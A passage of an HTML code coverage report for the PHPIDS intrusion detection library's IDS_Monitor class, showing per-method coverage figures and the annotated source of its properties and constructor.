cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="scarlet_red.png" width="0" height="10" alt="0.00 %"><img src="snow.png" width="100" height="10" alt="0.00%"></td> - </tr> - </table> - </td> - <td class="coverPerLo">0.00%</td> - <td class="coverNumLo">0 / 2</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#601">public function getHtml()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#614">public function setJson($json)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="butter.png" width="60" height="10" alt="60.00 %"><img src="snow.png" width="40" height="10" alt="60.00%"></td> - </tr> - </table> - </td> - <td class="coverPerMed">60.00%</td> - <td class="coverNumMed">3 / 5</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#630">public function addJson($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="scarlet_red.png" width="0" height="10" alt="0.00 %"><img src="snow.png" width="100" height="10" alt="0.00%"></td> - </tr> - </table> - </td> - <td class="coverPerLo">0.00%</td> - <td class="coverNumLo">0 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="scarlet_red.png" width="0" height="10" alt="0.00 %"><img src="snow.png" width="100" height="10" alt="0.00%"></td> - </tr> - </table> - </td> - <td class="coverPerLo">0.00%</td> - <td class="coverNumLo">0 / 2</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#642">public function getJson()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="scarlet_red.png" width="0" height="10" alt="0.00 %"><img src="snow.png" width="100" height="10" alt="0.00%"></td> - </tr> - </table> - </td> - <td class="coverPerLo">0.00%</td> - <td class="coverNumLo">0 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="scarlet_red.png" width="0" height="10" alt="0.00 %"><img src="snow.png" width="100" height="10" alt="0.00%"></td> - </tr> - </table> - </td> - <td class="coverPerLo">0.00%</td> - <td class="coverNumLo">0 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#652">public function getStorage()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#664">public function getReport()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * Monitoring engine -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * This class represents the core of the frameworks attack detection mechanism -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * and provides functions to scan incoming data for malicious appearing script -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * fragments. -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @category Security -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @package PHPIDS -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @version Release: $Id:Monitor.php 949 2008-06-28 01:26:03Z christ1an $ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : */ -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : class IDS_Monitor -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : { -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : /** -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : * Tags to define what to search for -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * Accepted values are xss, csrf, sqli, dt, id, lfi, rfe, spam, dos -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : * @var array -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : */ -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : private $tags = null; -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : /** -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : * Request array -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : * -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : * Array containing raw data to search in -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : * -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : * @var array -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : */ -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : private $request = null; -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : /** -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : * Container for filter rules -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : * -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : * Holds an instance of IDS_Filter_Storage -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : * -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : * @var object -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : */ -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : private $storage = null; -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : /** -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : * Results -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : * -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : * Holds an instance of IDS_Report which itself provides an API to -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : * access the detected results -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : * -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : * @var object -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : */ -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : private $report = null; -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : /** -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : * Scan keys switch -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span> : * -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span> : * Enabling this property will cause the monitor to scan both the key and -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span> : * the value of variables -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span> : * -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span> : * @var boolean -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span> : */ -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span> : public $scanKeys = false; -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span> : -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span> : /** -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span> : * Exception container -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span> : * -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span> : * Using this array it is possible to define variables that must not be -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span> : * scanned. Per default, utmz google analytics parameters are permitted. -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span> : * -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span> : * @var array -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : */ -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : private $exceptions = array(); -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span> : -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span> : /** -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span> : * Html container -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : * -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span> : * Using this array it is possible to define variables that legally -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span> : * contain html and have to be prepared before hitting the rules to -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span> : * avoid too many false alerts -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span> : * -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span> : * @var array -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span> : */ -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span> : private $html = array(); -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span> : -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span> : /** -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span> : * JSON container -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span> : * -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : * Using this array it is possible to define variables that contain -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : * JSON data - and should be treated as such -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : * @var array -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : */ -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : private $json = array(); -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span> : -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span> : /** -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span> : * Holds HTMLPurifier object -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span> : * -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span> : * @var object -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span> : */ -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span> : private $htmlpurifier = NULL; -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span> : /** -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span> : * Path to HTMLPurifier source -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span> : * -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span> : * This path might be changed in case one wishes to make use of a -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span> : * different HTMLPurifier source file e.g. if already used in the -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span> : * application PHPIDS is protecting -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span> : * -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span> : * @var string -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span> : */ -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span> : private $pathToHTMLPurifier = ''; -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span> : -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : /** -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span> : * HTMLPurifier cache directory -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span> : * -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span> : * @var string -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span> : */ -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span> : private $HTMLPurifierCache = ''; -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span> : -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span> : /** -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span> : * This property holds the tmp JSON string from the -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span> : * _jsonDecodeValues() callback -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span> : * -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span> : * @var string -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span> : */ -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span> : private $tmpJsonString = ''; -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span> : -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span> : -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span> : /** -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span> : * Constructor -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span> : * -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span> : * @param array $request array to scan -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span> : * @param object $init instance of IDS_Init -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span> : * @param array $tags list of tags to which filters should be applied -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span> : * -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span> : * @return void -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span> : */ -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span> : public function __construct(array $request, IDS_Init $init, array $tags = null) -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" id="line176"> 176</a> </span> : { -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" id="line177"> 177</a> </span><span class="lineCov"> 41 : $version = isset($init->config['General']['min_php_version']) </span> -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span><span class="lineCov"> 41 : ? $init->config['General']['min_php_version'] : '5.1.6'; </span> -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span> : -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span><span class="lineCov"> 41 : if (version_compare(PHP_VERSION, $version, '<')) { </span> -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span><span class="lineNoCov"> 0 : 'PHP version has to be equal or higher than ' . $version . ' or </span> -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" id="line183"> 183</a> </span> : PHP version couldn\'t be determined' -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container186"><a name="186"></a><a href="#186" id="line186"> 186</a> </span> : -<span class="lineNum" id="container187"><a name="187"></a><a href="#187" id="line187"> 187</a> </span> : -<span class="lineNum" id="container188"><a name="188"></a><a href="#188" id="line188"> 188</a> </span><span class="lineCov"> 41 : if (!empty($request)) { </span> -<span class="lineNum" id="container189"><a name="189"></a><a href="#189" id="line189"> 189</a> </span><span class="lineCov"> 41 : $this->storage = new IDS_Filter_Storage($init); </span> -<span class="lineNum" id="container190"><a name="190"></a><a href="#190" id="line190"> 190</a> </span><span class="lineCov"> 41 : $this->request = $request; </span> -<span class="lineNum" id="container191"><a name="191"></a><a href="#191" id="line191"> 191</a> </span><span class="lineCov"> 41 : $this->tags = $tags; </span> -<span class="lineNum" id="container192"><a name="192"></a><a href="#192" id="line192"> 192</a> </span> : -<span class="lineNum" id="container193"><a name="193"></a><a href="#193" id="line193"> 193</a> </span><span class="lineCov"> 41 : $this->scanKeys = $init->config['General']['scan_keys']; </span> -<span class="lineNum" id="container194"><a name="194"></a><a href="#194" id="line194"> 194</a> </span> : -<span class="lineNum" id="container195"><a name="195"></a><a href="#195" id="line195"> 195</a> </span><span class="lineCov"> 41 : $this->exceptions = isset($init->config['General']['exceptions']) </span> -<span class="lineNum" id="container196"><a name="196"></a><a href="#196" id="line196"> 196</a> </span><span class="lineCov"> 41 : ? $init->config['General']['exceptions'] : false; </span> -<span class="lineNum" id="container197"><a name="197"></a><a href="#197" id="line197"> 197</a> </span> : -<span class="lineNum" id="container198"><a name="198"></a><a href="#198" id="line198"> 198</a> </span><span class="lineCov"> 41 : $this->html = isset($init->config['General']['html']) </span> -<span class="lineNum" id="container199"><a name="199"></a><a href="#199" id="line199"> 199</a> </span><span class="lineCov"> 41 : ? $init->config['General']['html'] : false; </span> -<span class="lineNum" id="container200"><a name="200"></a><a href="#200" id="line200"> 200</a> </span> : -<span class="lineNum" id="container201"><a name="201"></a><a href="#201" id="line201"> 201</a> </span><span class="lineCov"> 41 : $this->json = isset($init->config['General']['json']) </span> -<span class="lineNum" id="container202"><a name="202"></a><a href="#202" id="line202"> 202</a> </span><span class="lineCov"> 41 : ? $init->config['General']['json'] : false; </span> -<span class="lineNum" id="container203"><a name="203"></a><a href="#203" id="line203"> 203</a> </span> : -<span class="lineNum" id="container204"><a name="204"></a><a href="#204" id="line204"> 204</a> </span><span class="lineCov"> 41 : if(isset($init->config['General']['HTML_Purifier_Path']) </span> -<span class="lineNum" id="container205"><a name="205"></a><a href="#205" id="line205"> 205</a> </span><span class="lineCov"> 41 : && isset($init->config['General']['HTML_Purifier_Cache'])) { </span> -<span class="lineNum" id="container206"><a name="206"></a><a href="#206" id="line206"> 206</a> </span><span class="lineCov"> 41 : $this->pathToHTMLPurifier = </span> -<span class="lineNum" id="container207"><a name="207"></a><a href="#207" id="line207"> 207</a> </span><span class="lineCov"> 41 : $init->config['General']['HTML_Purifier_Path']; </span> -<span class="lineNum" id="container208"><a name="208"></a><a href="#208" id="line208"> 208</a> </span><span class="lineCov"> 41 : $this->HTMLPurifierCache = </span> -<span class="lineNum" id="container209"><a name="209"></a><a href="#209" id="line209"> 209</a> </span><span class="lineCov"> 41 : $init->config['General']['HTML_Purifier_Cache']; </span> -<span class="lineNum" id="container210"><a name="210"></a><a href="#210" id="line210"> 210</a> </span><span class="lineCov"> 41 : } </span> -<span class="lineNum" id="container211"><a name="211"></a><a href="#211" id="line211"> 211</a> </span> : -<span class="lineNum" id="container212"><a name="212"></a><a href="#212" id="line212"> 212</a> </span><span class="lineCov"> 41 : } </span> -<span class="lineNum" id="container213"><a name="213"></a><a href="#213" id="line213"> 213</a> </span> : -<span class="lineNum" id="container214"><a name="214"></a><a href="#214" id="line214"> 214</a> </span><span class="lineCov"> 41 : if (!is_writeable($init->getBasePath() </span> -<span class="lineNum" id="container215"><a name="215"></a><a href="#215" id="line215"> 215</a> </span><span class="lineCov"> 41 : . $init->config['General']['tmp_path'])) { </span> -<span class="lineNum" id="container216"><a name="216"></a><a href="#216" id="line216"> 216</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container217"><a name="217"></a><a href="#217" id="line217"> 217</a> </span> : 'Please make sure the ' . -<span class="lineNum" id="container218"><a name="218"></a><a href="#218" id="line218"> 218</a> </span><span class="lineNoCov"> 0 : htmlspecialchars($init->getBasePath() . </span> -<span class="lineNum" id="container219"><a name="219"></a><a href="#219" id="line219"> 219</a> </span><span class="lineNoCov"> 0 : $init->config['General']['tmp_path'], ENT_QUOTES, 'UTF-8') . </span> -<span class="lineNum" id="container220"><a name="220"></a><a href="#220" id="line220"> 220</a> </span> : ' folder is writable' -<span class="lineNum" id="container221"><a name="221"></a><a href="#221" id="line221"> 221</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container222"><a name="222"></a><a href="#222" id="line222"> 222</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" 